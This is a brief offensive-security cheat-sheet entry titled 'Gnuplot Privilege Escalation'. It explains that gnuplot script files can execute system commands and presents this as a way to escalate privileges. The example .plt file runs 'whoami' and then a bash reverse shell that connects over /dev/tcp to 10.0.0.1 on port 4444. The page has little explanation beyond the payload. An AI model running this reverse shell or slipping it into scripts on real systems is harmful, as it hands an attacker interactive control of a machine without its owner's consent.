# Gnuplot Privilege Escalation

The `gnuplot` command is a command-line and GUI program that can generate two- and three-dimentional plots of functions, data, and data fits.

### Command Execution <a href="#command-execution" id="command-execution"></a>

The script file of **`gnuplot`** can be used to execute system commands as below.

```shellscript
gnuplot test.plt
```

Contents of the **`.plt`** is like the following.

```shellscript
system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
```

### References <a href="#references" id="references"></a>

* [Gnuplot Docs](http://gnuplot.info/docs_5.5/loc18483.html)
